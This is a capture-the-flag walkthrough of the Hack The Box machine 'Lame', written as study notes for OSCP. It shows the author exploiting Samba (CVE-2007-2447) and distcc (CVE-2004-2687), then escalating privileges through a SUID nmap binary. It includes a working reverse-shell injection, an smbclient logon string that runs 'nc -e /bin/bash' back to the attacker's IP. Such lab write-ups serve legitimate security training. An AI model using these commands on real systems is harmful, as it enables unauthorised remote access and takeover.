> For the complete documentation index, see [llms.txt](https://vulnableone.gitbook.io/vulnableone/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vulnableone.gitbook.io/vulnableone/course-review/cyber-security-courses-journey/oscp-journey/ctf/hack-the-box/linux-boxes/lame-easy.md).

# Lame (Easy)

## Lesson Learn

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FIOAIFGIPvwKFQhpTnwnt%2Flame.PNG?alt=media\&token=aafd8669-add4-4aeb-b09c-7286f499dd8d)

## Report-Penetration

**Vulnerable Exploit:** CVE-2007-2447 and CVE-2004-2687

**System Vulnerable:** 10.10.10.3

**Vulnerability Explanation:** This machine is vulnerable on the MS-RPC functionality in smbd in **Samba 3.0.0 through 3.0.25rc3** allows remote attackers to execute arbitrary commands via shell metacharacters and service **distcc** when not configured to restrict access to the server port, allows remote attackers to execute arbitrary command via compilation jobs, which are executed by the server without authorized checks.

**Privilege Escalation Vulnerability:** Nmap version out of dated and misconfigure set SUID.

**Vulnerability Fix:** Update service version and apply patch on Software and Restrict access on Samba port from outside network.

**Severity:** High

**Step to Compromise the Host:**&#x20;

## Reconnaissance

```
nmap -sC -sV -T4 10.10.10.3
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FgJ6SNWnkFTeMwIzhHMpP%2F1.png?alt=media\&token=2df06255-efff-45a5-a4e3-f560fa809eda)

Again, we will run the nmap scan against all ports in the background while we are enumerating.

```
nmap -p- -T4 10.10.10.3
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F3W8C4ejaGy6LwVtek8tn%2F1.png?alt=media\&token=39f54c0b-87ff-48a8-b10d-5ae5457f27e0)

## Enumeration

Let start enumerate each service if any of these services are either contain vulnerable versions or misconfigured.

**Port 21 vsftpd 2.3.4**

We found that on FTP which allow anonymous login but nothing is interesting.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Fwbq10zPI8R3exWsmCQn1%2F1.png?alt=media\&token=81abb5a4-fc54-4202-836f-0c260350490f)

**Port 139 and 445 Samba 3.0.20-Debian**

Scanning nmap script to check the service vulnerable but it doesn't contain any vulnerable.

```
nmap -p139,445 --script "Vuln and safe" 10.10.10.3
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FEKdr2w8PeZu1HCcCqDnj%2F1.png?alt=media\&token=52c5fc33-0a9d-48d8-9c29-27ba35feef31)

Let stat listing all the available share folder on server. We found interesting folder **tmp** and **opt**.

```
smbclient -L 10.10.10.3
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F1HZsouoy1cP0xMTNQkIg%2F1.png?alt=media\&token=1d9adbe1-426e-4279-9a23-55be20db2a43)

Let check the permission on that share drives and we got **Read, Write** permission on tmp.

```
smbmap -H 10.10.10.3
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FEyFkujoG7hPDcnOxKo8D%2F1.png?alt=media\&token=4c66120f-adcc-4d67-b210-27e44ec94c26)

By connected to tmp share drive and downloaded all the files, but it doesn't have anything.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F10Quqc2kLPlLY2dQMJFP%2F1.png?alt=media\&token=997ee284-2d63-45b3-bfd1-b4c5566746c1)

Searching on google we found samba 3.0.20 is vulnerable to CVE-2007-2447. We found that it is vulnerable to username field. If we send shell metacharacters into the username field which allow us to execute arbitrary commands.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FKMOUdnrWI9b8sSOxkj2a%2F1.png?alt=media\&token=45a874fe-bc63-4c08-a167-0e607b6d8b68)

On exploit code we found the function def exploit at the bottom, it is creating an SMB session using:

* **username** = ``"/=nohup " + payload.encoded + "`"``
* **password** = random 16 characters
* **domain** = user provided domain

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Ff9XMktTfwOChnT6XZac0%2F1.png?alt=media\&token=623390a0-061b-4a40-aeca-7c888ab9e596)

[**nohup** ](https://www.geeksforgeeks.org/nohup-command-in-linux-with-examples/)**(No Hang Up)** is a command in Linux systems that runs the process even after logging out from the shell/terminal.

**Port 3632 distcc v1**

By searching on internet, we found this service is vulnerable to remote code execute.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FitoMvYsjOD4X60hz6nkV%2F1.png?alt=media\&token=007581ad-b9b4-4af0-836b-655549f3240b)

## Exploitation #1 (Samba)

We will run start our netcat listener on port 4444.

```
nc -lvp 4444
```

Execute command from smbclient on the username field but it failed.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FgA73AIotDHcOYcQDh43o%2F1.png?alt=media\&token=c383b0cb-115d-47f8-abd1-0c95e49c9820)

For 2nd attempt, we will connect smbclient first. Then, we have logon command used for changing users once connected on smbclient.

```
smb: \> logon "/=`nohup nc -e /bin/bash 10.10.14.26 4444`"
```

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FHuRE7mTomKkyZOfyTOkc%2F1.png?alt=media\&token=1b736dd5-f516-443f-b7eb-7071608d39c0)

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FHI95YgCl2p2XTTlZHrbE%2F1.png?alt=media\&token=3ba95939-2e57-43b6-a150-ca62d4a459d5)

## Exploitation #2 (Distcc)

### Port 3632

First we will download script and place it in nmap script directory&#x20;

{% code overflow="wrap" %}

```
wget https://svn.nmap.org/nmap/scripts/distcc-cve2004-2687.nse -O /usr/share/nmap/scripts/distcc-exec.nse 
```

{% endcode %}

Now let start testing with exploit script by execute command **"id"** on the remote machine.

{% code overflow="wrap" %}

```
$ nmap -p 3632 10.10.103 --script distcc-exec.nse --script-args="distcc-exec.cmd='id'" -Pn
```

{% endcode %}

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FGnF8plivCUw91NXAexFR%2F1.png?alt=media\&token=e71d5b4f-8865-46de-b858-f2d7ba695fe4)

Then, let check whether netcat installed on the remote machine or not. If netcat installed, we will use netcat as reverse shell connect back to our machine.

<figure><img src="https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FL2a5QjGmSLVWHQeQ8ceN%2Fimage.png?alt=media&amp;token=d6009dc9-ef1d-40d0-9a47-61c1b1de66cb" alt=""><figcaption></figcaption></figure>

Let start netcat listener on our kali machine and execute reverse shell via nmap script.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FVXINqPk2fyg5lNKmgSkh%2F1.png?alt=media\&token=1ea70066-2523-470b-a084-1cbb3147d855)

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FEy1um9TE9f3k3HQUsTUk%2F1.png?alt=media\&token=bb5e0d2d-5267-4687-a603-b6bdca1f16b7)

## Privilege Escalation

### SUID nmap

Start finding set SUID misconfigure on the machine whether could allow us to escalate privilege. We found nmap script allow permission binary.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FzNsTS32riSCG1mo1rSqH%2F1.png?alt=media\&token=448403a3-8201-4c0a-9671-99bfc2408066)

on website <https://gtfobins.github.io/> could allow us to find so many UNIX binaries that can be used to bypass local security restrictions in misconfigured systems and we got nmap too.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FQHWSQkmEOisyXEZQapBF%2F1.png?alt=media\&token=47e72265-f9d0-4b61-b092-f223423bc190)

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F6LDfCea9JBmFO2I5P1su%2F1.png?alt=media\&token=7b76743a-3222-493b-9992-3a849bfe3ac1)

If nmap version is below **5.21**, we can escalation by this technique. We found nmap version on machine is **4.53** which is vulnerable to this. By executing this, we got root on machine.

![](https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2FMIfEuIjn5fob5WhHWk2u%2F1.png?alt=media\&token=fa8e5058-f1ac-42ba-b79e-67fb53e8a626)
